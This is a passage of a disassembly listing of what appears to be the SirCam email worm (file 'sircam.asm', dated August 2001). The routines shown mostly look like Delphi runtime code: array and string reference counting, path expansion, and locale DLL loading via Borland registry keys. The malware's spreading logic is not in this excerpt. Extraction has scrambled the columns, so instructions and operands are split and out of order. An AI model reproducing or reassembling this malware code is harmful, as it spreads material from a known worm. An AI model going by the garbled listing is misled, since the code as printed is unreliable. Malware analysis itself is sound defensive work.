; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_404404 sub_404404 proc near jmp sub_403BE8 endp ; CODE XREF: sub_404414+AE\031p ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40440C sub_40440C proc near call sub_4045AC retn endp ; CODE XREF: sub_404414+2F\031p ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_404414 proc near var_20 var_1C var_18 var_14 var_10 var_C var_8 var_4 arg_0 = = = = = = = = = dword dword dword dword dword dword dword dword dword push mov add push push ptr ptr ptr ptr ptr ptr ptr ptr ptr ; CODE XREF: sub_404414+171\031p ; sub_4045A0+5\031p -20h -1Ch -18h -14h -10h -0Ch -8 -4 8 ebp ebp, esp esp, 0FFFFFFE0h ebx esi sircam.asm Fri Aug 10 12:42:44 2001 push mov mov mov mov mov mov mov test jg test jge mov call 114 edi [ebp+var_8], ecx esi, edx [ebp+var_4], eax ebx, [ebp+var_4] ebx, [ebx] eax, [ebp+arg_0] edi, [eax] edi, edi short loc_40444D edi, edi short loc_40443E al, 4 sub_402618 loc_40443E: ; CODE XREF: sub_404414+21\030j mov eax, [ebp+var_4] mov edx, esi call sub_40440C jmp loc_404595 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40444D: xor mov test jz sub mov mov sub ; CODE XREF: sub_404414+1D\030j eax, eax [ebp+var_10], eax ebx, ebx short loc_404461 ebx, 4 eax, [ebx] [ebp+var_10], eax ebx, 4 loc_404461: ; CODE XREF: sub_404414+40\030j xor eax, eax mov al, [esi+1] add esi, eax mov eax, [esi+2] mov [ebp+var_18], eax mov eax, [esi+6] test eax, eax jz short loc_404479 mov esi, [eax] jmp short loc_40447B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404479: ; CODE XREF: sub_404414+5F\030j xor loc_40447B: mov imul mov mov cdq idiv cmp jz mov call loc_404495: esi, esi ; CODE XREF: sub_404414+63\030j eax, edi [ebp+var_18] [ebp+var_1C], eax eax, [ebp+var_1C] edi eax, [ebp+var_18] short loc_404495 al, 4 sub_402618 add test jz cmp jnz ; CODE XREF: sub_404414+78\030j [ebp+var_1C], 8 ebx, ebx short loc_4044A2 dword ptr [ebx], 1 short loc_4044D7 mov cmp ; CODE XREF: sub_404414+87\030j [ebp+var_20], ebx edi, [ebp+var_10] loc_4044A2: sircam.asm Fri Aug 10 12:42:44 2001 jge test jz mov add mov imul add mov sub mov call 115 short loc_4044C7 esi, esi short loc_4044C7 eax, ebx eax, 8 edx, edi edx, [ebp+var_18] eax, edx ecx, [ebp+var_10] ecx, edi edx, esi sub_404404 loc_4044C7: ; CODE XREF: sub_404414+94\030j ; sub_404414+98\030j lea eax, [ebp+var_20] mov edx, [ebp+var_1C] call sub_4025C8 mov ebx, [ebp+var_20] jmp short loc_404535 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4044D7: dec mov call mov mov mov cmp jge mov ; CODE XREF: sub_404414+8C\030j dword ptr [ebx] eax, [ebp+var_1C] sub_402598 ebx, eax eax, [ebp+var_10] [ebp+var_14], eax edi, [ebp+var_14] short loc_4044F1 [ebp+var_14], edi loc_4044F1: ; CODE XREF: sub_404414+D8\030j test esi, esi jz short loc_40451F mov edx, [ebp+var_14] imul edx, [ebp+var_18] mov eax, ebx add eax, 8 xor ecx, ecx call sub_4028D4 mov eax, [ebp+var_14] push eax mov edx, [ebp+var_4] mov edx, [edx] mov eax, ebx add eax, 8 mov ecx, esi call sub_4043F4 jmp short loc_404535 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40451F: mov imul mov add mov mov call ; CODE XREF: sub_404414+DF\030j ecx, [ebp+var_14] ecx, [ebp+var_18] edx, ebx edx, 8 eax, [ebp+var_4] eax, [eax] sub_4026B0 mov add mov add mov sub ; CODE XREF: sub_404414+C1\030j ; sub_404414+109\030j dword ptr [ebx], 1 ebx, 4 [ebx], edi ebx, 4 edx, edi edx, [ebp+var_10] loc_404535: sircam.asm Fri Aug 10 12:42:44 2001 imul mov imul add xor call cmp jle add dec dec test jl inc mov edx, [ebp+var_18] eax, [ebp+var_18] eax, [ebp+var_10] eax, ebx ecx, ecx sub_4028D4 [ebp+var_8], 1 short loc_404590 [ebp+arg_0], 4 [ebp+var_8] edi edi, edi short loc_404590 edi [ebp+var_C], 0 mov push mov lea mov mov call inc dec jnz eax, [ebp+arg_0] eax eax, [ebp+var_C] eax, [ebx+eax*4] ecx, [ebp+var_8] edx, esi sub_404414 [ebp+var_C] edi short loc_404576 loc_404576: ; CODE XREF: sub_404414+17A\031j loc_404590: ; CODE XREF: sub_404414+14C\030j ; sub_404414+158\030j mov mov eax, [ebp+var_4] [eax], ebx pop pop pop mov pop retn endp edi esi ebx esp, ebp ebp 4 loc_404595: sub_404414 116 ; CODE XREF: sub_404414+34\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4045A0 proc near sub_4045A0 push add call retn endp ; CODE XREF: sub_40A4BC+44\031p ; sub_417F24+77\031p ... esp dword ptr [esp+0], 4 sub_404414 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4045AC proc near ; CODE XREF: sub_403BE8+DA\030p ; sub_40440C\030p ... mov ecx, [eax] test ecx, ecx jz short locret_4045E5 mov dword ptr [eax], 0 lock dec dword ptr [ecx-8] jnz short locret_4045E5 sircam.asm Fri Aug 10 12:42:44 2001 push mov xor mov mov test jz mov test jz mov call eax eax, ecx ecx, ecx cl, [edx+1] edx, [edx+ecx+6] edx, edx short loc_4045DC ecx, [eax-4] ecx, ecx short loc_4045DC edx, [edx] sub_403BE8 loc_4045DC: ; CODE XREF: sub_4045AC+20\030j ; sub_4045AC+27\030j sub call pop eax, 8 sub_4025B0 eax locret_4045E5: sub_4045AC 117 ; CODE XREF: sub_4045AC+4\030j ; sub_4045AC+10\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4045E8 proc near ; CODE XREF: sub_403CDC+EF\030p ; sub_403DF8+DD\030p push ebx mov ebx, [eax] test edx, edx jz short loc_4045F3 lock inc dword ptr [edx-8] loc_4045F3: ; CODE XREF: sub_4045E8+5\030j test ebx, ebx jz short loc_40460B lock dec dword ptr [ebx-8] jnz short loc_40460B push eax push edx mov edx, ecx inc dword ptr [ebx-8] call sub_4045AC pop edx pop eax loc_40460B: ; CODE XREF: sub_4045E8+D\030j ; sub_4045E8+13\030j sub_4045E8 mov pop retn endp [eax], edx ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_404610 proc near var_1C var_18 var_C = byte ptr -1Ch = dword ptr -18h = dword ptr -0Ch ; CODE XREF: sub_40330C+25\030p sircam.asm Fri Aug 10 12:42:44 2001 118 add esp, 0FFFFFFE4h push 1Ch lea edx, [esp+20h+var_1C] push edx push eax call j_VirtualQuery cmp [esp+1Ch+var_C], 1000h jnz short loc_404630 mov eax, [esp+1Ch+var_18] jmp short loc_404632 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404630: ; CODE XREF: sub_404610+18\030j xor eax, eax add retn endp esp, 1Ch loc_404632: sub_404610 ; CODE XREF: sub_404610+1E\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_404638 proc near mov test jz ; CODE XREF: sub_404B80+2B\031p ; CODE:0040933C\031p ... edx, ds:dword_41C014 edx, edx short locret_40465B cmp jz cmp jz cmp jnz eax, [edx+4] short loc_404651 eax, [edx+8] short loc_404651 eax, [edx+0Ch] short loc_404655 loc_404642: ; CODE XREF: sub_404638+21\031j loc_404651: ; CODE XREF: sub_404638+D\030j ; sub_404638+12\030j mov eax, [edx+10h] retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404655: ; CODE XREF: sub_404638+17\030j mov test jnz edx, [edx] edx, edx short loc_404642 locret_40465B: sub_404638 ; CODE XREF: sub_404638+8\030j retn endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40465C proc near ; CODE XREF: sub_404670+80\031p ; sub_404670+93\031p ... jmp short loc_404664 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40465E: ; CODE XREF: sub_40465C+11\031j push call eax j_CharNextA mov dl, [eax] loc_404664: ; CODE XREF: sub_40465C\030j sircam.asm Fri Aug 10 12:42:44 2001 test jz cmp jnz dl, dl short locret_40466F dl, 5Ch short loc_40465E locret_40466F: sub_40465C 119 ; CODE XREF: sub_40465C+C\030j retn endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_404670 proc near var_24F var_14A var_11E var_C var_8 var_4 = = = = = = ; CODE XREF: sub_404818+88\031p byte ptr -24Fh byte ptr -14Ah byte ptr -11Eh dword ptr -0Ch dword ptr -8 dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFDB0h push ebx push esi push edi mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_8], eax push offset dword_4047F4 call j_GetModuleHandleA mov ebx, eax test ebx, ebx jz short loc_4046D5 push offset aGetlongpathnam ; "GetLongPathNameA" push ebx call j_GetProcAddress mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4046D5 push 105h lea eax, [ebp+var_24F] push eax mov eax, [ebp+var_4] push eax call [ebp+var_C] test eax, eax jz short loc_4046D5 lea eax, [ebp+var_24F] push eax mov eax, [ebp+var_4] push eax call j_lstrcpyA jmp loc_4047EA ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4046D5: ; CODE XREF: sub_404670+23\030j ; sub_404670+37\030j ... mov cmp jnz mov cmp jnz mov add call eax, [ebp+var_4] byte ptr [eax], 5Ch short loc_404715 eax, [ebp+var_4] byte ptr [eax+1], 5Ch loc_4047EA eax, [ebp+var_4] eax, 2 sub_40465C sircam.asm Fri Aug 10 12:42:44 2001 120 mov ebx, eax cmp byte ptr [ebx], 0 jz loc_4047EA lea eax, [ebx+1] call sub_40465C mov ebx, eax cmp byte ptr [ebx], 0 jz loc_4047EA jmp short loc_40471B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404715: ; CODE XREF: sub_404670+6B\030j mov add ebx, [ebp+var_4] ebx, 2 loc_40471B: ; CODE XREF: sub_404670+A3\030j mov esi, ebx sub esi, [ebp+var_4] lea eax, [esi+1] push eax mov eax, [ebp+var_4] push eax lea eax, [ebp+var_24F] push eax call j_lstrcpynA jmp loc_4047D1 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404739: lea call mov mov sub mov add inc cmp jg inc push push lea add push call lea push lea push call mov cmp jz push call lea push call lea add inc cmp jg mov lea push lea add inc ; CODE XREF: sub_404670+164\031j eax, [ebx+1] sub_40465C edi, eax eax, edi eax, ebx edx, eax edx, esi edx edx, 105h loc_4047EA eax eax ebx eax, [ebp+var_24F] eax, esi eax j_lstrcpynA eax, [ebp+var_14A] eax eax, [ebp+var_24F] eax j_FindFirstFileA ebx, eax ebx, 0FFFFFFFFh short loc_4047EA ebx j_FindClose eax, [ebp+var_11E] eax j_lstrlenA edx, [esi+1] eax, edx eax eax, 105h short loc_4047EA [ebp+esi+var_24F], 5Ch eax, [ebp+var_11E] eax eax, [ebp+var_24F] eax, esi eax sircam.asm Fri Aug 10 12:42:44 2001 push call lea push call inc add mov eax j_lstrcpyA eax, [ebp+var_11E] eax j_lstrlenA eax esi, eax ebx, edi cmp jnz lea push mov push call ; CODE XREF: sub_404670+C4\030j byte ptr [ebx], 0 loc_404739 eax, [ebp+var_24F] eax eax, [ebp+var_4] eax j_lstrcpyA loc_4047D1: loc_4047EA: sub_404670 121 ; CODE XREF: sub_404670+60\030j ; sub_404670+74\030j ... mov pop pop pop mov pop retn endp eax, [ebp+var_8] edi esi ebx esp, ebp ebp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dword_4047F4 dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 ; DATA XREF: sub_404670+15\030o aGetlongpathnam db ’GetLongPathNameA’,0 ; DATA XREF: sub_404670+25\030o align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_404818 proc near var_11D var_18 var_12 var_D var_B var_8 var_4 = = = = = = = ; CODE XREF: sub_405A34+1E\031p byte ptr -11Dh dword ptr -18h byte ptr -12h byte ptr -0Dh byte ptr -0Bh dword ptr -8 dword ptr -4 push mov add push push mov push lea push push call mov lea push push push push push call test jz lea ebp ebp, esp esp, 0FFFFFEE0h ebx esi [ebp+var_4], eax 105h eax, [ebp+var_11D] eax 0 j_GetModuleFileNameA [ebp+var_12], 0 eax, [ebp+var_8] eax 0F003Fh 0 offset aSoftwareBorl_0 ; "Software\\Borland\\Locales" 80000001h j_RegOpenKeyExA eax, eax short loc_404879 eax, [ebp+var_8] sircam.asm Fri Aug 10 12:42:44 2001 122 push push push push push call test jnz eax 0F003Fh 0 offset aSoftwareBorl_1 ; "Software\\Borland\\Delphi\\Locales" 80000001h j_RegOpenKeyExA eax, eax short loc_4048EB xor push push push mov mov lea push lea push push push lea call push mov push call test jz lea push lea push push push push mov push call ; CODE XREF: sub_404818+41\030j eax, eax ebp offset loc_4048E4 dword ptr fs:[eax] fs:[eax], esp [ebp+var_18], 5 eax, [ebp+var_18] eax eax, [ebp+var_12] eax 0 0 eax, [ebp+var_11D] sub_404670 eax eax, [ebp+var_8] eax j_RegQueryValueExA eax, eax short loc_4048CD eax, [ebp+var_18] eax eax, [ebp+var_12] eax 0 0 offset dword_404A10 eax, [ebp+var_8] eax j_RegQueryValueExA xor pop pop pop mov push ; CODE XREF: sub_404818+99\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_4048EB loc_404879: loc_4048CD: loc_4048DA: ; CODE XREF: sub_404818+D1\031j mov eax, [ebp+var_8] push eax call j_RegCloseKey retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4048E4: ; DATA XREF: sub_404818+64\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4048DA ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4048EB: ; CODE XREF: sub_404818+5F\030j ; DATA XREF: sub_404818+BD\030o mov push lea push call push eax, [ebp+var_4] eax eax, [ebp+var_11D] eax j_lstrcpyA 5 sircam.asm Fri Aug 10 12:42:44 2001 lea push push call push call xor cmp jz cmp jnz cmp jz 123 eax, [ebp+var_D] eax 3 j_GetThreadLocale eax j_GetLocaleInfoA esi, esi [ebp+var_11D], 0 loc_4049CC [ebp+var_D], 0 short loc_40492D [ebp+var_12], 0 loc_4049CC loc_40492D: ; CODE XREF: sub_404818+109\030j lea eax, [ebp+var_11D] push eax call j_lstrlenA mov ebx, eax lea eax, [ebp+var_11D] add ebx, eax jmp short loc_404946 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404945: ; CODE XREF: sub_404818+13B\031j dec ebx cmp jz lea cmp jnz ; CODE XREF: sub_404818+12B\030j byte ptr [ebx], 2Eh short loc_404955 eax, [ebp+var_11D] ebx, eax short loc_404945 lea cmp jz inc cmp jz lea push push call push push lea push call mov ; CODE XREF: sub_404818+131\030j eax, [ebp+var_11D] ebx, eax short loc_4049CC ebx [ebp+var_12], 0 short loc_404982 eax, [ebp+var_12] eax ebx j_lstrcpyA 2 0 eax, [ebp+var_11D] eax j_LoadLibraryExA esi, eax test jnz cmp jz lea push push call push push lea push call mov test jnz mov ; CODE XREF: sub_404818+14C\030j esi, esi short loc_4049CC [ebp+var_D], 0 short loc_4049CC eax, [ebp+var_D] eax ebx j_lstrcpyA 2 0 eax, [ebp+var_11D] eax j_LoadLibraryExA esi, eax esi, esi short loc_4049CC [ebp+var_B], 0 loc_404946: loc_404955: loc_404982: sircam.asm Fri Aug 10 12:42:44 2001 lea push push call push push lea push call mov eax, [ebp+var_D] eax ebx j_lstrcpyA 2 0 eax, [ebp+var_11D] eax j_LoadLibraryExA esi, eax loc_4049CC: sub_404818 124 ; CODE XREF: sub_404818+FF\030j ; sub_404818+10F\030j ... mov pop pop mov pop retn endp eax, esi esi ebx esp, ebp ebp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ aSoftwareBorl_0 db ’Software\Borland\Locales’,0 ; DATA XREF: sub_404818+30\030o align 4 aSoftwareBorl_1 db ’Software\Borland\Delphi\Locales’,0 ; DATA XREF: sub_404818+4E\030o dword_404A10 dd 0, 0BE8h, 0C08BC300h ; DATA XREF: sub_404818+A7\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_404A1C sub_404A1C proc near call sub_404A44 retn endp ; CODE XREF: sub_40E3D0+8F\031p ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 push ebx mov ebx, eax mov eax, 8 call sub_402598 mov edx, ds:dword_41C018 mov [eax], edx mov [eax+4], ebx mov ds:dword_41C018, eax pop ebx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_404A44 proc near ; CODE XREF: sub_404A1C\030p push ebx push esi mov esi, ds:dword_41C018 test esi, esi jz short loc_404A72 mov edx, [esi+4] cmp edx, eax jnz short loc_404A72 mov eax, ds:dword_41C018 mov eax, [eax] mov ds:dword_41C018, eax mov edx, 8 mov eax, esi call sub_4025B0 pop esi pop ebx sircam.asm Fri Aug 10 12:42:44 2001 125 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404A72: ; CODE XREF: sub_404A44+A\030j ; sub_404A44+11\030j mov test jz edx, esi edx, edx short loc_404A9F loc_404A78: ; CODE XREF: sub_404A44+59\031j mov ecx, [edx] test ecx, ecx jz short loc_404A99 mov ebx, [ecx+4] cmp ebx, eax jnz short loc_404A99 mov esi, ecx mov eax, [ecx] mov [edx], eax mov edx, 8 mov eax, esi call sub_4025B0 jmp short loc_404A9F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404A99: ; CODE XREF: sub_404A44+38\030j ; sub_404A44+3F\030j mov test jnz edx, [edx] edx, edx short loc_404A78 loc_404A9F: sub_404A44 ; CODE XREF: sub_404A44+32\030j ; sub_404A44+53\030j pop pop retn endp esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_404AA4 proc near var_8 var_4 = dword ptr -8 = dword ptr -4 ; CODE XREF: sub_404B10+1B\031p push mov add push push push mov mov mov cmp jz ebp ebp, esp esp, 0FFFFFFF8h ebx esi edi [ebp+var_4], eax eax, ds:dword_41C018 [ebp+var_8], eax [ebp+var_8], 0 short loc_404AF7 xor push push push mov mov mov ; CODE XREF: sub_404AA4+51\031j eax, eax ebp offset loc_404ADF dword ptr fs:[eax] fs:[eax], esp ebx, [ebp+var_8] eax, [ebp+var_4] loc_404ABE: sircam.asm Fri Aug 10 12:42:44 2001 126 call dword ptr [ebx+4] xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_404AE9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404ADF: ; DATA XREF: sub_404AA4+1D\030o jmp loc_402E34 ; 